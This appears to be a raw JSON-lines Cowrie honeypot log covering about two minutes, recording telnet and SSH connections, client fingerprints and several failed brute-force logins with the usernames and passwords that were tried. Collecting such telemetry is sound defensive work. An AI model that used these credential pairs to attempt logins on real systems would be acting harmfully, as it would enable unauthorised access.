{"eventid":"cowrie.session.closed","duration":29.564700603485107,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:48.228537Z","src_ip":"64.227.101.30","session":"bf7d1bdf5570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46538,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4a8e8ff7a1","protocol":"telnet","message":"New connection: 64.227.101.30:46538 (10.17.0.5:23) [session: 7c4a8e8ff7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:50.180241Z"}
{"eventid":"cowrie.session.closed","duration":47.77882266044617,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:52.564805Z","src_ip":"68.183.198.12","session":"a8fc19b9e7f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48874,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc86c08ab49","protocol":"telnet","message":"New connection: 64.227.101.30:48874 (10.17.0.5:23) [session: 6bc86c08ab49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:54.453127Z"}
{"eventid":"cowrie.session.closed","duration":45.517595291137695,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:55.418253Z","src_ip":"64.227.101.30","session":"1345d9784752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.560417890548706,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:55.501024Z","src_ip":"64.227.101.30","session":"094c2826c1ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50134,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f6afc66d8b","protocol":"telnet","message":"New connection: 64.227.101.30:50134 (10.17.0.5:23) [session: 06f6afc66d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:57.763448Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36088,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d39f49a1eb8","protocol":"telnet","message":"New connection: 68.183.198.12:36088 (159.203.135.109:23) [session: 7d39f49a1eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:58.628992Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54502,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32df1f659bd","protocol":"telnet","message":"New connection: 64.227.101.30:54502 (10.17.0.5:23) [session: e32df1f659bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:01.893032Z"}
{"eventid":"cowrie.session.closed","duration":41.28319454193115,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:03.539104Z","src_ip":"64.227.101.30","session":"33d56fcbd33f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.66120171546936,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:06.735386Z","src_ip":"64.227.101.30","session":"9ed3321cc5e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":42830,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef813d82434","protocol":"ssh","message":"New connection: 43.165.185.71:42830 (10.17.0.5:22) [session: bef813d82434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:11.586418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:11.592242Z","src_ip":"43.165.185.71","session":"bef813d82434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:11.772130Z","src_ip":"43.165.185.71","session":"bef813d82434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!Q2w#E4r","message":"login attempt [test/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:12.508065Z","src_ip":"43.165.185.71","session":"bef813d82434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:13.685235Z","src_ip":"43.165.185.71","session":"bef813d82434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.9747576713562,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:15.729203Z","src_ip":"64.227.101.30","session":"199da4bd97f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64339327812195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:26.823489Z","src_ip":"64.227.101.30","session":"7c4a8e8ff7a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"a842df9a6af5","protocol":"telnet","message":"New connection: 64.227.101.30:38984 (10.17.0.5:23) [session: a842df9a6af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:31.928571Z"}
{"eventid":"cowrie.session.closed","duration":51.57131028175354,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:34.704891Z","src_ip":"64.227.101.30","session":"fc7859253d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.77353096008301,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:36.536870Z","src_ip":"64.227.101.30","session":"06f6afc66d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":40906,"dst_ip":"159.203.135.109","dst_port":23,"session":"e08516bf7773","protocol":"telnet","message":"New connection: 68.183.198.12:40906 (159.203.135.109:23) [session: e08516bf7773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:36.967355Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41348,"dst_ip":"159.203.135.109","dst_port":23,"session":"54541085924d","protocol":"telnet","message":"New connection: 68.183.198.12:41348 (159.203.135.109:23) [session: 54541085924d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:39.783891Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42984,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7d279c0d99","protocol":"telnet","message":"New connection: 64.227.101.30:42984 (10.17.0.5:23) [session: bb7d279c0d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:41.029722Z"}
{"eventid":"cowrie.session.closed","duration":40.07099366188049,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:41.963908Z","src_ip":"64.227.101.30","session":"e32df1f659bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39256,"dst_ip":"10.17.0.5","dst_port":23,"session":"34df09d77bde","protocol":"telnet","message":"New connection: 64.227.101.30:39256 (10.17.0.5:23) [session: 34df09d77bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:43.843865Z"}
{"eventid":"cowrie.session.closed","duration":0.07243084907531738,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:43.915967Z","src_ip":"64.227.101.30","session":"34df09d77bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.779969692230225,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:44.232970Z","src_ip":"64.227.101.30","session":"6bc86c08ab49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.98867058753967,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:48.617425Z","src_ip":"68.183.198.12","session":"7d39f49a1eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":42078,"dst_ip":"159.203.135.109","dst_port":23,"session":"518564aa8bde","protocol":"telnet","message":"New connection: 68.183.198.12:42078 (159.203.135.109:23) [session: 518564aa8bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:52.293287Z"}
{"eventid":"cowrie.session.closed","duration":86.70097470283508,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:53.257041Z","src_ip":"64.227.101.30","session":"88ff3d883743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.014801740646362,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:56.307956Z","src_ip":"68.183.198.12","session":"518564aa8bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.3025131225586,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:10:57.360661Z","src_ip":"64.227.101.30","session":"b6804f79a28f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":44668,"dst_ip":"159.203.135.109","dst_port":23,"session":"43923e87058b","protocol":"telnet","message":"New connection: 68.183.198.12:44668 (159.203.135.109:23) [session: 43923e87058b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:01.824088Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":50990,"dst_ip":"10.17.0.5","dst_port":22,"session":"848505a9f519","protocol":"ssh","message":"New connection: 103.170.173.26:50990 (10.17.0.5:22) [session: 848505a9f519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:02.728767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:02.734849Z","src_ip":"103.170.173.26","session":"848505a9f519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:02.992901Z","src_ip":"103.170.173.26","session":"848505a9f519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r5T","message":"login attempt [ubuntu/1q2w3e4r5T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:04.052694Z","src_ip":"103.170.173.26","session":"848505a9f519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:05.314512Z","src_ip":"103.170.173.26","session":"848505a9f519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":38428,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcf0effcedb9","protocol":"ssh","message":"New connection: 43.165.185.71:38428 (10.17.0.5:22) [session: fcf0effcedb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:06.212261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:06.218215Z","src_ip":"43.165.185.71","session":"fcf0effcedb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:06.396802Z","src_ip":"43.165.185.71","session":"fcf0effcedb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qbtuser","password":"qbtuser","message":"login attempt [qbtuser/qbtuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:07.143866Z","src_ip":"43.165.185.71","session":"fcf0effcedb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.220974922180176,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:08.149450Z","src_ip":"64.227.101.30","session":"a842df9a6af5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:08.340576Z","src_ip":"43.165.185.71","session":"fcf0effcedb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49764,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8c3888ef2b","protocol":"telnet","message":"New connection: 64.227.101.30:49764 (10.17.0.5:23) [session: 1a8c3888ef2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:10.340620Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50644,"dst_ip":"10.17.0.5","dst_port":23,"session":"e66857ad3a9c","protocol":"telnet","message":"New connection: 64.227.101.30:50644 (10.17.0.5:23) [session: e66857ad3a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:12.820591Z"}
{"eventid":"cowrie.session.closed","duration":41.01467752456665,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:17.981896Z","src_ip":"68.183.198.12","session":"e08516bf7773","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06122708320618,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:18.090846Z","src_ip":"64.227.101.30","session":"bb7d279c0d99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51922,"dst_ip":"10.17.0.5","dst_port":23,"session":"0229d931ee36","protocol":"telnet","message":"New connection: 64.227.101.30:51922 (10.17.0.5:23) [session: 0229d931ee36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:20.068540Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45492,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9fa0a1fbee","protocol":"telnet","message":"New connection: 64.227.101.30:45492 (10.17.0.5:23) [session: 6e9fa0a1fbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:21.863992Z"}
{"eventid":"cowrie.session.closed","duration":0.006471872329711914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:21.870243Z","src_ip":"64.227.101.30","session":"6e9fa0a1fbee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.227232933044434,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:23.011049Z","src_ip":"68.183.198.12","session":"54541085924d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48098,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bc9e94964d9","protocol":"telnet","message":"New connection: 68.183.198.12:48098 (159.203.135.109:23) [session: 8bc9e94964d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:25.068733Z"}
{"eventid":"cowrie.session.closed","duration":120.00150752067566,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:25.572856Z","src_ip":"64.227.101.30","session":"75c94471887d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50454,"dst_ip":"10.17.0.5","dst_port":22,"session":"05ed713d91da","protocol":"ssh","message":"New connection: 193.32.162.145:50454 (10.17.0.5:22) [session: 05ed713d91da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:25.822688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:25.828785Z","src_ip":"193.32.162.145","session":"05ed713d91da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:25.947577Z","src_ip":"193.32.162.145","session":"05ed713d91da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol@","message":"login attempt [ubuntu/sol@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:26.311794Z","src_ip":"193.32.162.145","session":"05ed713d91da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54468,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a7a54d1cd5","protocol":"telnet","message":"New connection: 64.227.101.30:54468 (10.17.0.5:23) [session: b8a7a54d1cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:26.620132Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:27.437846Z","src_ip":"193.32.162.145","session":"05ed713d91da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56568,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a3fd5b2f02","protocol":"telnet","message":"New connection: 64.227.101.30:56568 (10.17.0.5:23) [session: 66a3fd5b2f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:34.010629Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56762,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3896377700","protocol":"telnet","message":"New connection: 64.227.101.30:56762 (10.17.0.5:23) [session: 2d3896377700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:37.655074Z"}
